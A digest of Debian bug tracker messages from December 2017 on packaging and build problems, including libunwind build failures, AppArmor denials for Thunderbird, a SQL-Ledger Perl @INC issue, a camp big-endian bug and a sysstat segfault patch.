I just built a copy of xpdf without libpoppler and the password
dialog works just fine.

Sources: https://github.com/hinki1/xpdf-nopoppler

To be built with: $ fakeroot debian/rules clean binary

Regards,
Matthias

Bug#883857: please backport for stretch-backports

[Daniel Pocock]

Package: thunderbolt-tools
Version: 0.9.2-1
Severity: wishlist

Please provide a backport of this package for stretch-backports or
indicate if you are not going to backport so somebody else can do it.

I've tested it on a system running stretch with the kernel package
4.13.13-1~bpo9+1 and it compiles and appears to work.

Bug#883859: debian/control: VCS URLs are wrong

[Daniel Pocock]

Package: thunderbolt-tools
Version: 0.9.2-1

The VCS URLs in debian/control point to the upstream repository:


Vcs-Git: https://github.com/01org/thunderbolt-software-user-space.git
Vcs-Browser: https://github.com/01org/thunderbolt-software-user-space


and there is no Debian packaging branch or debian/* directory in there.

Bug#883858: libunwind FTBFS on ia64

[Jason Duerstock]

Source: libunwind
Severity: normal

Dear Maintainer,

It appears as though some files went missing from libunwind between 1.1 and 
1.2.  It now fails to build from source:

make[1]: Leaving directory '/mnt/a/sid/libunwind-1.2.1'
   dh_auto_build
make -j2
make[1]: Entering directory '/mnt/a/sid/libunwind-1.2.1'
Making all in src
make[2]: Entering directory '/mnt/a/sid/libunwind-1.2.1/src'
make[2]: *** No rule to make target 'ia64/mk_Gcursor_i.c', needed by 
'mk_Gcursor_i.s'.  Stop.
make[2]: Leaving directory '/mnt/a/sid/libunwind-1.2.1/src'
Makefile:595: recipe for target 'all-recursive' failed
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory '/mnt/a/sid/libunwind-1.2.1'
dh_auto_build: make -j2 returned exit code 2
debian/rules:10: recipe for target 'build' failed
make: *** [build] Error 2



-- System Information:
Debian Release: buster/sid
  APT prefers unstable
  APT policy: (500, 'unstable')
Architecture: ia64

Kernel: Linux 3.14-0.bpo.2-mckinley (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Bug#883856: Acknowledgement (dpkg: Fails to build any package in path with '@' in it)

[Dennis Kaarsemaker]

Please note that the version number is incorrect, this happened on a
different box than where I filed the bug. That box has dpkg
1.19.0.4ubuntu1, and I've verified that the bug also exists in the git
master branch (hence filing a bug with Debian instead of Ubuntu)

Bug#855346: been hit with same

[Massimo Maiurana]

On Thu, 7 Dec 2017 21:59:28 +0100 Massimo Maiurana 
wrote:
> I can confirm that I'm experiencing this bug now, after a recent upgrade
> two days ago.

Solved for now replacing the current apparmor profile with the one in
message #126, at least I can open attachments again until a proper fix
is pull upstream.

-- 
Massimo Maiurana
Ragusa (RG)

Bug#745778: openssh-server/permit-root-login should be honored for new installs too

[Salvatore Bonaccorso]

Hi Ferenc,

On Tue, Jan 31, 2017 at 04:23:07PM +0100, Ferenc Wágner wrote:
> Hi,
> 
> How is this supposed to work now?  On a fresh stretch install, with
> /etc/ssh/sshd_config being identical to /usr/share/openssh/sshd_config,
> dpkg-reconfigure openssh-server does not ask anything:
> 
> # DEBCONF_DEBUG=developer dpkg-reconfigure openssh-server
> debconf (developer): starting /var/lib/dpkg/info/openssh-server.config 
> reconfigure 1:7.4p1-5
> debconf (developer): <-- VERSION 2.0
> debconf (developer): --> 0 2.0
> debconf (developer): <-- SET openssh-server/permit-root-login true
> debconf (developer): --> 0 value set
> debconf (developer): starting /var/lib/dpkg/info/openssh-server.postinst 
> configure 1:7.4p1-5
> debconf (developer): <-- VERSION 2.0
> debconf (developer): --> 0 2.0
> debconf (developer): <-- GET openssh-server/permit-root-login
> debconf (developer): --> 0 true
> debconf (developer): <-- X_LOADTEMPLATEFILE /var/lib/dpkg/info/ucf.templates 
> ucf
> debconf (developer): --> 0
> debconf (developer): <-- STOP
> 
> Should it?  Or did this debconf question become deprecated?

I noticed, in
https://www.debian.org/releases/jessie/amd64/release-notes/ch-information.en.html#openssh

# The "false" value is in fact correct despite being confusing.
$ echo 'openssh-server openssh-server/permit-root-login boolean false' | 
debconf-set-selections

Regards,
Salvatore

Bug#836565: dewalls packaging status

[Wookey]

On 2017-12-08 04:21 +, Debian Bug Tracking System wrote:

I have a partial packaging of this program, but ran into issues
getting the QBS build system to work. It installs things into its own
'profile' build dir. In default/install-root/ I've not managed to kick
it to get it to install in debian/tmp yet.

If anyone takes it forward before I get round to it, do please use my
work.  The control, copyright, watch and install files are done. The
upstream tarball is repacked to remove embedded packages. The
configure and build stages work, although there is quite a lot of overriding 
needed as debhelper knows nothing of QBS.

The qbs build file has been patched to work with gcc as well as clang,
and correspondingly stdlibc++, to use an soname, and to use the
packaged catch, not an embedded one.

qbs creates a 'default/default.bg' binary file on qbs clean, which
makes quilt format 3 'unable to represent binary changes in tarball'.
I have to manually delete this (or include a pointless
runtime-generated 110K binary). It's not clear what the right way to
deal with this is.

Wookey
-- 
Principal hats:  Linaro, Debian, Wookware, ARM
http://wookware.org/


signature.asc
Description: PGP signature

Bug#584421: libnet-snmp-perl: Get_entries : not all the results given

[Roland Rosenfeld]

Hi Dominique!

On Do, 03 Jun 2010, Dominique Fournier wrote:

> Package: libnet-snmp-perl
> Version: 5.2.0-1
> Severity: important
> 
> Hi 
> I have a problem with get_entries when I provide more than one column : some 
> results are not given to the table.
> If I try :
>$table = $session->get_entries(-columns => ['1.3.6.1.2.1.31.1.1.1.6']);
>while ( my ($key, $value) = each(%{$table}) ) {
> print "$key => $value\n";
> I have 32 responses on my router
> If I try :
>$table = $session->get_entries(-columns => 
> ['1.3.6.1.2.1.31.1.1.1.6','1.3.6.1.2.1.31.1.1.1.18']);
> with a grep 1.3.6.1.2.1.31.1.1.1.6, I have only 14 entries (but all the 
> 1.3.6.1.2.1.31.1.1.1.18 results).
> 
> I should add that I test it with -version => 2, if it change something.

Could you please re-check whether this issue still exists with current
6.0.1 version of the package?  As Niko Tyni wrote, this should be
already fixed upstream:

On Mo, 23 Mai 2011, Niko Tyni wrote:

> I'm seeing this too. A workaround is to use 'maxrepetitions => 1' which
> forces the library to use get-next-requests instead of get-bulk-requests.
> 
> I suspect it's fixed upstream: 
> 
> http://cpansearch.perl.org/src/DTOWN/Net-SNMP-v6.0.1/Changes :
> 
>   RELEASE 6.0.0 SEP-09-2009
> 
>   - The get_table() and get_entries() methods were refactored as part
>   of the code cleanup.  The get_entries() method now handles "holes"
>   in tables better and indexes with a value of zero.

So I hope that this is already fixed...

Greetings
Roland


signature.asc
Description: PGP signature

Bug#869994: sql-ledger: Can't locate bin/mozilla/login.pl in @INC

[Robert J. Clay]

Hi Neil!

On Thu, Dec 7, 2017 at 6:48 AM, Neil Redgate  wrote:
> On Wed, 2017-12-06 at 12:46 -0500, Robert J. Clay wrote:
>
> As a reminder;  the title of the bug you opened was changed to the
> following to better reflect the issue with the sql-ledger package:
>
> sql-ledger: Can't locate bin/mozilla/login.pl in @INC
>
> Thank you for changing the title.
>
>> On Sun, Jul 30, 2017 at 4:09 AM, Neil Redgate  wrote:
>
> 
>> I have contacted the developer of sql-ledger and he has given me a couple of
>> suggestions - which I hope to look into later today.
>
>
>And did any of those suggestions help?
>
>Since there is going to be the same issue with any of the more
> recent versions of Perl, I've been wondering if he was going to
> release a new version that fixed the issue...
>
> I contacted the developer, and he offered the following advice -
>
>
> SQL-Ledger code is generic. There is an
>
> eval  { require "sql-ledger.conf"; };
>
> which may call @INC.
>
> comment the line and see if it works.
>
>
> Unfortunately there was no improvement, I did the following -
>
> A) commented out the eval line in admin.pl and login.pl only
> launched admin and login pages separately.
> Both returned 500: Internal Server Error message
> My browser's debugging page states this page "failed to load the resource
> 'favicon.ico' (http://localhost/faviocn.ico)
> favicon.ico is only mentioned in the admin.pl and login.pl files in the
> directory /bin : $form->{favicon} = "favicon.ico";
> In these files, the line immediately preceding it is $form->{stylesheet} =
> "sql-ledger.css";

   That quite likely was due to not being able to find it, which is
part of the problem when the code (like in SQL-Ledgers) assumes that
the 'current directory' is included in the search path in @INC.


>
> B) commented out the eval line in all 26 .pl files in the parent directory
> (including admin and login)
> The same error result occurred: 500: Internal Server Error message
> My browser's debugging page states this page "failed to load the resource"
> 'admin.pl' or 'login.pl' depending on which action I took.

   Possibly the same issue, with it not being able found the scripts...

>
> On my debian system, when perl5.24 was installed, there was a temporary
> workaround to allow apache2 and postgresql to work with perl.
> This involved commenting out the only line (below) in the file
> /etc/perl/sitecustomize.pl -
>
> pop @INC if $INC[-1] eq '.' and !$ENV{PERL_USE_UNSAFE_INC};
>
> If this line was left uncommented, postgresql failed to work through a web
> browser and gave the same message - 500 Internal Server Error
> I understand that perl 5.26 removes the insecurity associated with '.'

   Yes, with Perl 5.26 they dropped having the current directory (".")
in the @INC array altogether, as well as dropping the site customize
line (or even checking for it). that was an option to add it back in
the a sys admin wanted to.


> While investigating the perl-postgresql connection, I came across a bug
> report in debian that the current postgresql 9.6 version could not be
> built/complied against perl 5.26.
> A solution has been targeted for release in "August"
>
> I do not know if this has been achieved?

 I do believe it was  (and since then made it to Testing...) but as I
mentioned then and Gregor also confirmed, that is not something that
was relevant to this issue with SQL-Ledger.


>  Hence, waiting to try again, with a fresh
> testing install and install/configuration of sql-ledger.

   I am most interested in how that goes for you, especially if you
add the same kind of block of code that I did, with the appropriate
path for your install of SQL-Ledger of course.  (Although I'm mostly
interested in the package, and in fact am working on adopting it, I
may try a manual install of a newer version as well...)


> I can access phppgadmin; pgadmin3; phpmyadmin, so I do not think there is a
> problem with a webbrowser interface, postgresql or php

  No, I agree; it's not an issue at the browser end.


> However there is a problem with this - when I try and backup (save to file
> or email) I get the error message -
>
> Wide character in print at SL/AM.pm line 2012 (this is repeated 4 times)
> and a screen of "random text" in lines and no spaces, but beginning with
> Content-Type: application/file: Content-Disposition: attachment;
> filename=ndres-3.2.4-20171207.sql.gz
>
> I have never had this issue when I was able to run 3.24 on my PC
> Have you come across this problem in your experience with sql-ledger?

  No, I haven't;  at least not yet...   Is SQL-Ledger utf-8 safe?
IIRC, postgresql defaults to using utf-8 in it's more recent versions
in new installs...



> Once I have a fresh testing installed, I will let you know how I fared with
> installing and setting up of sql-ledger and whether I can launch the
> package.

> I trust this is acceptable to you?

   Of course it is and I am very interested in how it goes for you.



-- 
Ro

Bug#876147: camp frequently FTBFS on 64bit big endian: camptest-qt (Failed)

[James Clarke]

On Fri, Dec 08, 2017 at 09:49:05AM +0100, Andreas Tille wrote:
> Hi Flavien,
>
> I have put the porter lists of the affected architectures in CC whether
> there is somebody who has a hint for a better solution than removing
> these architectures from the supported architectures.  This kind of
> "random failure"[1] is quite hard to debug for somebody who is not
> familiar for the said architectures.

f4 is (long, long, long) -> long, and so the generated Qt metacall magic
wrapper around f4 treats its arguments as an array of long*,
dereferences them, passes them to f4 and stores the return value for the
caller.

However, camp's own Value class only has camp::intType; it has no type
for long or long long. This means that valueToVariant always gives a
QVariant storing an int, so QtFunction::execute invokes the meta method
with QGenericArgument's pointing to ints. Therefore, when the metacall
wrapper reads them, it reads too much, and gets 32 bits of garbage after
them in memory. Normally in C arguments are promoted automatically, but
because of all these levels of indirection it has to be done manually
(as you can see for example with the double tests, which must use the
double literal 1. rather than the int literal 1).

Now, as to why it only affects 64-bit big-endian. Obviously, 32-bit is
unaffected, as sizeof(int) == sizeof(long) there. On 64-bit
little-endian, reading too much data puts the garbage in the *higher*
bits in the registers; if you then add values with garbage in the higher
half, the lower half will remain correct, and it gets stored as a 64-bit
value. Then eventually it gets read as an int (variantType sees that the
function returns a QMetaType::Long, which is mapped to a return
QVariant::Int), so the higher 32 bits get dropped, and all appears fine
(despite the horrendous out-of-bounds memory accesses).

On 64-bit big-endian systems, though, it's not quite so forgiving. When
it reads the 32-bit value as a 64-bit value, the endianness means that
the 32 bits of garbage are the *lower* 32 bits in the registers, and so
when adding three numbers together, the sum of these garbage halves
could overflow (up to twice) into the higher 32 bits, which store the
desired values, causing the upper half to non-deterministically be 20,
21 or 22. This gets stored as a 64-bit quantity again, and then later
re-read as a 32-bit quantity, and again due to the endianness it only
reads what was the higher half in the register, i.e. either 20, 21 or
22.

I don't have a patch, because fixing this requires a fairly involved
trawl through the source. I haven't tried using it, but valgrind might
catch these out-of-bounds reads regardless of the system's endianness.

TL;DR camp needs to stop treating longs like ints.

Regards,
James

Bug#855346: been hit with same

[Paolo Inaudi]

Profile from #126 still doesn't allow to open links in Firefox:

dic 08 14:06:43 paolo-desktop audit[19990]: AVC apparmor="DENIED" 
operation="exec" profile="thunderbird" name="/usr/lib/firefox/firefox" 
pid=19990 comm="thunderbird" requested_mask="x" denied_mask="x" 
fsuid=1000 ouid=0


Paolo Inaudi

On Fri, 8 Dec 2017 13:22:56 +0100 Massimo Maiurana  
wrote:

> On Thu, 7 Dec 2017 21:59:28 +0100 Massimo Maiurana 
> wrote:
> > I can confirm that I'm experiencing this bug now, after a recent 
upgrade

> > two days ago.
>
> Solved for now replacing the current apparmor profile with the one in
> message #126, at least I can open attachments again until a proper fix
> is pull upstream.
>
> --
> Massimo Maiurana
> Ragusa (RG)
>
>

Bug#855346: been hit with same

[Massimo Maiurana]

Paolo Inaudi ha scritto il 08/12/2017 alle 14:08:
> Profile from #126 still doesn't allow to open links in Firefox:
> 

Here it does, I just opened a link ina a message as a new tab in
firefox. Don't know why though.

-- 
Massimo Maiurana
Ragusa (RG)

Bug#883860: python-biopython: SeqRecord broken on Debian packages when python-biopython-sql package is not installed

[Kai Blin]

Package: python-biopython
Version: 1.68+dfsg-3
Severity: important
Tags: upstream

Dear Maintainer,

Upstream Biopython introduced a hard dependency from the Bio.SeqRecord
class on BioSQL with commit 48cd6bc1. This causes the __getitem__
method to fail unless python-biopython-sql is also installed. As the
-sql package also pulls in mysql, that can be undesirable.

I've reported this bug upstream as
https://github.com/biopython/biopython/issues/1471 already.

That bug report also contains a reproducer that works on current Debian
stretch.

I have not tested with the 1.70 packages available in unstable as the
code causing the issue is present in that version as well.

Best regards,
Kai

-- System Information:
Debian Release: 9.1
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.4.0-93-generic (SMP w/8 CPU cores)
Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968), LANGUAGE=C 
(charmap=ANSI_X3.4-1968)
Shell: /bin/sh linked to /usr/bin/dash
Init: unable to detect

Versions of packages python-biopython depends on:
ii  libc6 2.24-11+deb9u1
ii  python2.7.13-2
ii  python-numpy [python-numpy-abi9]  1:1.12.1-3
ii  python-reportlab  3.3.0-2

Versions of packages python-biopython recommends:
ii  ncbi-blast+   2.6.0-1
ii  python-biopython-doc  1.68+dfsg-3

Versions of packages python-biopython suggests:
pn  bwa
pn  clustalo   
pn  clustalw   
pn  dialign
pn  dssp   
pn  emboss 
pn  fasttree   
pn  mafft  
pn  muscle 
pn  phylip 
pn  phyml  
pn  prank  
pn  probcons   
pn  python-matplotlib  
pn  python-mysqldb 
ii  python-pil 4.0.0-4
pn  python-psycopg2
pn  python-rdflib  
ii  python-renderpm3.3.0-2
pn  python-scipy   
pn  python-tk  
pn  raxml  
pn  samtools   
pn  t-coffee   
pn  wise   

-- no debconf information

Bug#836983: Patch

[Graham Inggs]

Hi Frédéric

On 7 December 2017 at 19:00, Frédéric Bonnard  wrote:
> Graham, here is patch attached for the issue.
> By default some architectures have "char" being unsigned such as the ones
> listed here and others ( https://wiki.debian.org/ArchitectureSpecificsMemo ).
> I just forced the sign-ness of pow()'s argument.

Thanks for the patch!  I uploaded it to Ubuntu, and the autopkgtests
were successful everywhere that freecad builds [1].

> Sorry for the delay.

There is no need for an apology.

Do you intend to send this upstream, or shall I do it?

Regards
Graham


[1] http://autopkgtest.ubuntu.com/packages/freecad

Bug#836983: Patch

[Frédéric Bonnard]

Hi Graham,

On Fri, 8 Dec 2017 15:30:07 +0200, Graham Inggs  wrote:
> Hi Frédéric
> 
> On 7 December 2017 at 19:00, Frédéric Bonnard  wrote:
> > Graham, here is patch attached for the issue.
> > By default some architectures have "char" being unsigned such as the ones
> > listed here and others ( https://wiki.debian.org/ArchitectureSpecificsMemo 
> > ).
> > I just forced the sign-ness of pow()'s argument.
> 
> Thanks for the patch!  I uploaded it to Ubuntu, and the autopkgtests
> were successful everywhere that freecad builds [1].
> 
> > Sorry for the delay.
> 
> There is no need for an apology.
> 
> Do you intend to send this upstream, or shall I do it?

I'm going to send a PR asap.
Thanks for checking on Ubuntu.

F.

> Regards
> Graham
> 
> 
> [1] http://autopkgtest.ubuntu.com/packages/freecad
> 


pgp1uyRhXHG7j.pgp
Description: PGP signature

Bug#882034: ruby-redis-store for jessie and stretch (#882034 CVE-2017-1000248). Proposed patch

[Cédric Boutillier]

Hi,

On Fri, Dec 08, 2017 at 09:31:47AM +0100, Salvatore Bonaccorso wrote:
> Hi Cédric,


> Thanks a lot for fixing this in unstable and experimental, so we have
> quarantee that it's fixed in next stable. For stretch: Can you fix the
> issue via a point release? 

Sure. It is too late for the one coming this weekend, but I'll ask
inclusion for the next Stretch update.

> What do you mean by the version in jessie? AFAICT the package was not
> renamed, and ruby-redis-store is not present in jessie, do I miss
> something?

Oops, sorry. Indeed there is no version of ruby-redis-store. I got
confused with another package.

Thanks!

Cédric


signature.asc
Description: PGP signature

Bug#883861: fix build with glibc-2.26

[Matthias Klose]

Package: src:libunwind
VersioN: 1.2.1-3
Severity: important
Tags: sid buster patch

A local patch still uses "struct ucontext", not available anymore in glibc-2.26.
patch at
http://launchpadlibrarian.net/348525339/libunwind_1.2.1-3_1.2.1-3ubuntu1.diff.gz

Bug#883862: libfelix-gogo-shell-java: Package unusable after rebuild (eclipse build fails)

[Daniel Drake]

Package: libfelix-gogo-shell-java
Version: 0.12.0-1
Severity: normal

When rebuilding the current stretch version of felix-gogo-shell,
it produces a package that is in some way different to the one in the
current published debian archive, and this rebuilt version of the package
has some problem which then prevents eclipse from building.

To reproduce:

# debootstrap stretch stretch
# systemd-nspawn -D stretch

Now inside that chroot:

# apt-get build-dep felix-gogo-shell eclipse
# apt-get source eclipse
# cd eclipse-3.8.1
# dpkg-buildpackage -us -uc

(note that the package builds fine)

# cd ..
# apt-get source felix-gogo-shell
# cd felix-gogo-shell-0.12.0
# dpkg-buildpackage -us -uc
# cd ..
# dpkg -i libfelix-gogo-shell-java_0.12.0-1_all.deb
# cd eclipse-3.8.1
# dpkg-buildpackage -us -uc

Now the eclipse build fails.
Full log: https://gist.github.com/dsd/6c3dbcfbdc2c152878e7f42f95ab1f9f

Compared to the successful build log, it starts diverging at this point:
   [java] [eclipse.buildScript] Bundle org.apache.felix.gogo.shell:
   [java] [eclipse.buildScript]  Unsatisfied import package 
org.osgi.framework_[1.8.0,2.0.0).

I believe this also applies to libfelix-bundlerepository-java,
libfelix-gogo-command-java and libfelix-gogo-runtime-java. Rebuild
and install your rebuilt version of any one of these, and the newly
rebuilt package will cause the eclipse build to fail.

-- System Information:
Debian Release: 9.1
  APT prefers stable
  APT policy: (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.13.0-17-generic (SMP w/4 CPU cores)
Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968), LANGUAGE=C 
(charmap=ANSI_X3.4-1968)
Shell: /bin/sh linked to /bin/dash
Init: unable to detect

Versions of packages libfelix-gogo-shell-java depends on:
ii  libfelix-gogo-runtime-java  0.16.2-1

libfelix-gogo-shell-java recommends no packages.

Versions of packages libfelix-gogo-shell-java suggests:
pn  libfelix-gogo-shell-java-doc  

-- no debconf information

Bug#883863: sysstat: another potential segfault while running sadc

[Dariusz Gadomski]

Source: sysstat
Version: 11.6.0-1
Severity: normal

Dear Maintainer,

This is related to bug #872926. The patch applied to the original bug
contains only half of the upstream fix: get_filesystem_nr in count.c, while
the upstream also considered it's worth to patch the other potential source
of a segfault with long lines: read_filesystem() from rd_stats.c.

I'm not sure how likely it is to run into the other segfault, but for the
sake of keeping consistent with upstream and maintaining safer code
I believe the other part should also be applied to Debian.

Thanks!

Bug#883756: dbus-user-session: blocks upgrades; installing dbus-user-session yields a change of the init system

[Felipe Sateler]

Control: reassign -1 pulseaudio 11.1-4
Control: retitle -1 pulseaudio: reevaluate recommends on dbus-user-session
Control: tags -1 = moreinfo
Control: severity -1 minor

I fully agree that this is an issue in pulseaudio, not in
dbus-user-session, so reassigning.

On Thu, Dec 7, 2017 at 10:03 PM, Vincent Lefevre  wrote:
> On 2017-12-07 18:08:47 +, Simon McVittie wrote:
>> The recommendation should ideally be something like
>> "dbus-user-session | NOT(booted using systemd)", but we don't have the
>> syntax to express that.
>
> How about a new package pulseaudio-no-systemd and a Recommends on
> "dbus-user-session | pulseaudio-no-systemd"? This package would
> do almost nothing. It could possibly change the configuration to
> re-enable autospawn.

It would be weird to have two snippets installed, one that enables and
the other disables pulseaudio.


> The very few users who boot using systemd but without systemd-sysv
> would have to force an install of dbus-user-session anyway. So the
> Recommends would be satisfied with just dbus-user-session for them.

I'm not sure I fully sympathize with the want to have all recommends
fulfilled (after all, they are "weak" depends precisely to be able to
break them!). But I don't want to make it unnecessarily difficult
either. I'm open to suggestions to improve the current situation, but
they must fulfill the following properties:

1. It should use the systemd --user manager by default
1b. We should keep a single place to disable, which would be the
systemd --user manager, and thus autospawn needs to be disabled by
default.
2. This configuration should not be changed unless explicitly chosen
by the admin/user.

-- 

Saludos,
Felipe Sateler

Bug#883863: sysstat: another potential segfault while running sadc

[Dariusz Gadomski]

Package: sysstat
Version: 11.6.0-1
Followup-For: Bug #883863
User: ubuntu-de...@lists.ubuntu.com
Usertags: origin-ubuntu bionic ubuntu-patch

Dear Maintainer,

*** Reporter, please consider answering these questions, where appropriate ***

   * What led up to the situation?
   * What exactly did you do (or not do) that was effective (or
 ineffective)?
   * What was the outcome of this action?
   * What outcome did you expect instead?

*** End of the template - remove these template lines ***


*** /tmp/tmpNGiBTg/bug_body

In Ubuntu, the attached patch was applied to achieve the following:

Ubuntu decided to use the full upstream patch for this issue (including
patching the read_filesystem function in rd_stats.c.

  * Add 15-yet-another-mtab-reading-fix.patch to handle another case of
unsafe mtab reading. (LP: #1720627)


Thanks for considering the patch.
diff -Nru sysstat-11.6.0/debian/control sysstat-11.6.0/debian/control
--- sysstat-11.6.0/debian/control   2017-11-16 10:43:50.0 +0100
+++ sysstat-11.6.0/debian/control   2017-12-06 16:29:31.0 +0100
@@ -1,8 +1,7 @@
 Source: sysstat
 Section: admin
 Priority: optional
-Maintainer: Ubuntu Developers 
-XSBC-Original-Maintainer: Robert Luberda 
+Maintainer: Robert Luberda 
 Build-Depends: debhelper (>= 10), gettext, libsensors4-dev, pkg-config
 Standards-Version: 4.1.0
 Homepage: http://pagesperso-orange.fr/sebastien.godard/
diff -Nru sysstat-11.6.0/debian/patches/15-yet-another-mtab-reading-fix.patch 
sysstat-11.6.0/debian/patches/15-yet-another-mtab-reading-fix.patch
--- sysstat-11.6.0/debian/patches/15-yet-another-mtab-reading-fix.patch 
1970-01-01 01:00:00.0 +0100
+++ sysstat-11.6.0/debian/patches/15-yet-another-mtab-reading-fix.patch 
2017-12-06 16:29:31.0 +0100
@@ -0,0 +1,91 @@
+Description: Handle segmantation fault while reading /etc/mtab
+ A segmentation fault may happen with "sadc -S DISK..." or
+ "sadc -S XDISK..." when lines longer than 512 bytes are read from
+ /etc/mtab.
+ 
+ Such lines are possible for instance when overlay2 filesystem
+ with docker is used. In such a case a single mtab entry can look
+ like this (note that new line characters were added for readability,
+ the original entry contained only one '\n' at the end):
+ 
+ overlay /var/lib/docker/overlay2/f23d2377a67b9ab1b49555ecd09b2ccdc03
+ 7e0ee5d9e54f87e59f07f4398e71f/merged overlay rw,relatime,lowerdir=/v
+ ar/lib/docker/overlay2/l/L6VKIYXWBQSJ5R7V35SS43R6Y6:/var/lib/docker/
+ overlay2/l/UCCHKGXUJPWCMLHR36IZJNNIQP:/var/lib/docker/overlay2/l/RKV
+ YEXD2FH65FTMK76RDWPLESX:/var/lib/docker/overlay2/l/DX4JZRKTFP2GOO4V6
+ OWQ6CPJFY:/var/lib/docker/overlay2/l/6CYNWDKADUPPDZJ5IHOH2R7Y5S:/var
+ /lib/docker/overlay2/l/JTPINUZIATXADL6XWFHG2OYGSF:/var/lib/docker/ov
+ erlay2/l/OTSTIV5TTRHF4IUD7BODQ2FUON:/var/lib/docker/overlay2/l/QFNH3
+ EFS5EZGRTC4DPHU3PJ4TU:/var/lib/docker/overlay2/l/ZOOUKT2E5U4CSLP57Z7
+ MXYX5CD:/var/lib/docker/overlay2/l/3LUU6IDR2HWPTVBARC5K6XSMRC:/var/l
+ ib/docker/overlay2/l/XOHYBP4RWXQKQZ43I7JKG24KE4:/var/lib/docker/over
+ lay2/l/MN5M5B7AY5LPXQQC6V2MBJWWBF:/var/lib/docker/overlay2/l/3DRMKQ3
+ 4AIZD2AROU3TVK3OCUT:/var/lib/docker/overlay2/l/73ZXDHBV6C53Q3SPXA57E
+ OLGHU:/var/lib/docker/overlay2/l/C2IZBQ55EUTGEAAORSLE73ZPNM:/var/lib
+ /docker/overlay2/l/ITHARNV7RPWN5S3BCZ2QDMZIMJ:/var/lib/docker/overla
+ y2/l/TQKUV4LEG4AFUUCMFHHRLDBHAH:/var/lib/docker/overlay2/l/N75JZWPPD
+ EKJ4DTN4GMEGTDIZL:/var/lib/docker/overlay2/l/QGUUYAETPMK643DG3AKWJAI
+ IZA,upperdir=/var/lib/docker/overlay2/f23d2377a67b9ab1b49555ecd09b2c
+ cdc037e0ee5d9e54f87e59f07f4398e71f/diff,workdir=/var/lib/docker/over
+ lay2/f23d2377a67b9ab1b49555ecd09b2ccdc037e0ee5d9e54f87e59f07f4398e71
+ f/work 0 0
+ 
+ The crash occurs in the get_filesystem_nr() and read_filesystem()
+ functions which call strchr(line, ' ') but fail to check if the result
+ is not NULL.
+ 
+ This patch adds this check, and when a single mtab entry requires more
+ that one call to fgets() (i.e. the entry is longer than 512 bytes), it
+ ignores outcome of the second and following calls.
+ .
+ sysstat (11.6.0-1ubuntu2) bionic; urgency=medium
+ .
+   * Add 15-yet-another-mtab-reading-fix.patch to handle another case of
+ unsafe mtab reading. (LP: #1720627)
+Origin: upstream, 
https://github.com/sysstat/sysstat/commit/d40c8ecc530303d7e802617f21a9ac85dbcd68bd
+Bug-Ubuntu: https://launchpad.net/bugs/1720627
+Last-Update: 2017-12-06
+
+--- sysstat-11.6.0.orig/rd_stats.c
 sysstat-11.6.0/rd_stats.c
+@@ -2097,7 +2097,8 @@ void read_filesystem(struct stats_filesy
+ {
+   FILE *fp;
+   char line[512], fs_name[128], mountp[256];
+-  int fs = 0;
++  int fs = 0, skip = 0, skip_next = 0;
++  char *pos = 0;
+   struct stats_filesystem *st_filesystem_i;
+   struct statvfs buf;
+ 
+@@ -2105,7 +2106,21 @@ void read_filesystem(struct stats_filesy
+   return;
+ 
+   while ((fgets(line, sizeof(line), fp) != NULL) && (fs < nbr)) {
++  /*
++   *

Bug#847694: Bug #847694

[Roderick W. Smith]

Running refind-install directly would produce more output, which might
be helpful; however, I'm 80% sure that this is a result of EFI
architecture limitations. Specifically, tools like efibootmgr, upon
which the refind-install script (and hence the package installation
procedure) depends, work for like architectures only. That is, I would
not expect efibootmgr in a 32-bit chroot environment on a 64-bit
platform to work. If efibootmgr is installed but doesn't work, then
refind-install will fail.

Although it would be possible to modify refind-install to work around
this limitation, I'm not sure that doing so would be advisable. For
context, be aware that refind-install WILL work in a BIOS boot mode, in
which efibootmgr also does not work; however, rEFInd will not actually
be fully installed in this case. The files will be installed to the ESP
using the fallback filename (EFI/BOOT/bootx64.efi), but the EFI NVRAM
entries won't be set. This is desirable because there are situations in
which you might need to install rEFInd from a BIOS-mode boot -- for
instance, if you accidentally installed your OS in BIOS mode rather than
in EFI mode. In this case, installing rEFInd to the ESP and then relying
on the fallback boot loader filename to boot may work, depending on what
else is installed; and even if something else takes precedence, there
may be ways to override that or adjust the default in the non-Linux OS.

OTOH, I don't see what the point of installing rEFInd from within a
32-bit (i386/IA32/x86) chroot on a 64-bit (AMD64/X64/x86-64)
installation would be. By definition, a 64-bit environment is available
on the computer, and a non-chroot environment is likely to be better for
handling low-level hardware configuration in any event, so why not use
it? If you can present a reasonable use case for why installing rEFInd
in a chroot environment rather than in the host environment is
desirable, then I'll consider adjusting refind-install to handle this
situation.

Of course, this assumes that my assumption about the cause is correct,
too; it could be that something else is going wrong. Even if that's the
case, though, the question of why you'd want to install a low-level
firmware-interfacing tool from within a chroot environment -- especially
one that doesn't match the EFI's bit depth.

-- 
Rod Smith
rodsm...@rodsbooks.com

Bug#883682: don't install features-file as conffile for easier overriding

[Laurent Bigonville]

On Thu, 07 Dec 2017 10:08:54 +0100 intrigeri  wrote:
[...]
>
> I think we should:
>
> - move the features file to a non-conffile location ASAP: not only it
> makes little sense for it to be a conffile, but if I manage to get
> a pinned feature set in Stretch at some point you'll want this in
> order to divert the features file; I am finalizing a new upload
> to sid as we speak, but I can wait a bit for you to finish your
> patch so I can include it. Ideally I would like to upload today,
> worst case tomorrow, to fix #883703 ASAP.
>

Again not really up2date with apparmor, but the features file seems to 
be part of the policy, if a policy creator wants to modify the policy he 
might need to modify this file as well same if a user is building his 
own kernel. I'm not sure why it was necessary to move in a /usr/share 
location. There seems to have no override mechanism here that meas that 
if anybody has modified the features file now that you move that file to 
/usr it means that the changes will completely be ignored (leading to 
possible boot failures).


The complete policy is already in /etc (that's something that I dislike 
about Apparmor) anyway


my 2¢

Bug#883254: libreoffice-calc: the cells enclosed in calculations are not highlighted with colored panels

[Rene Engelhard]

On Fri, Dec 08, 2017 at 12:12:03PM +0100, Eike Rathke wrote:
> Fixed for 5.4.4, see
